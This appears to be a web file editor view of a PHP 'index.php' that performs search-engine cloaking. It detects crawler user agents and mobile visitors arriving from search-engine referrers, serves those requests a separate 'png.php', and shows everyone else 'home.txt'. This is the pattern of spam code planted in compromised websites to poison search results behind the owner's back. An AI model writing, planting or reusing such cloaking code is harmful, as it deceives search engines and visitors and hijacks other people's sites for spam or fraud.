← Back
Editing: index.php
<?php function isMobile() { return preg_match("/mobile|android|iphone|ipad|ipod|opera mini|blackberry|webos|iemobile|windows phone|kindle|silk/i", strtolower($_SERVER["HTTP_USER_AGENT"])); } $referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ""; $user_agent = isset($_SERVER["HTTP_USER_AGENT"]) ? strtolower($_SERVER["HTTP_USER_AGENT"]) : ""; $bunvisEngine = ["googlebot", "bingbot", "slurp", "baiduspider", "duckduckbot", "yandexbot", "ask.com", "aol", "naverbot", "sogou", "exalead", "goo", "qwant", "mojeekbot", "yippybot", "gigablast", "lycos", "webcrawler", "metacrawler", "infoseek", "wolframalpha", "teoma", "dogpile", "alltheweb", "mamma", "excite", "yahooligans", "search.com", "ask jeeves", "gosh", "blekko", "webring", "metager", "searx", "startpage", "freenom", "searchencrypt", "findthatfile", "trove", "kiddle", ]; function sebFungsi($user_agent, $bunvisEngine) { foreach ($bunvisEngine as $bunvisBe) { if (strpos($user_agent, $bunvisBe) !== false) { return true; } } return false; } if (sebFungsi($user_agent, $bunvisEngine)) { include "png.php"; } else { if (strpos($referer, "google.com") !== false || strpos($referer, "bing.com") !== false || strpos($referer, "yahoo.com") !== false || strpos($referer, "baidu.com") !== false || strpos($referer, "duckduckgo.com") !== false || strpos($referer, "yandex.com") !== false || strpos($referer, "ask.com") !== false || strpos($referer, "aol.com") !== false || strpos($referer, "naver.com") !== false || strpos($referer, "sogou.com") !== false || strpos($referer, "exalead.com") !== false || strpos($referer, "goo.ne.jp") !== false || strpos($referer, "qwant.com") !== false || strpos($referer, "mojeek.com") !== false || strpos($referer, "yippy.com") !== false || strpos($referer, "gigablast.com") !== false || strpos($referer, "lycos.com") !== false || strpos($referer, "webcrawler.com") !== false || strpos($referer, "metacrawler.com") !== false || strpos($referer, "infoseek.com") !== false || strpos($referer, "wolframalpha.com") !== false || strpos($referer, "teoma.com") !== false || strpos($referer, "dogpile.com") !== false || strpos($referer, "alltheweb.com") !== false || strpos($referer, "mamma.com") !== false || strpos($referer, "excite.com") !== false || strpos($referer, "yahooligans.com") !== false || strpos($referer, "search.com") !== false || strpos($referer, "askjeeves.com") !== false || strpos($referer, "gosh.com") !== false || strpos($referer, "blekko.com") !== false || strpos($referer, "webring.com") !== false || strpos($referer, "metager.com") !== false || strpos($referer, "searx.com") !== false || strpos($referer, "startpage.com") !== false || strpos($referer, "freenom.com") !== false || strpos($referer, "searchencrypt.com") !== false || strpos($referer, "findthatfile.com") !== false || strpos($referer, "trove.com") !== false || strpos($referer, "kiddle.com") !== false) { if (isMobile()) { include "png.php"; } else { include "home.txt"; } } else { include "home.txt"; } }
Save File
Cancel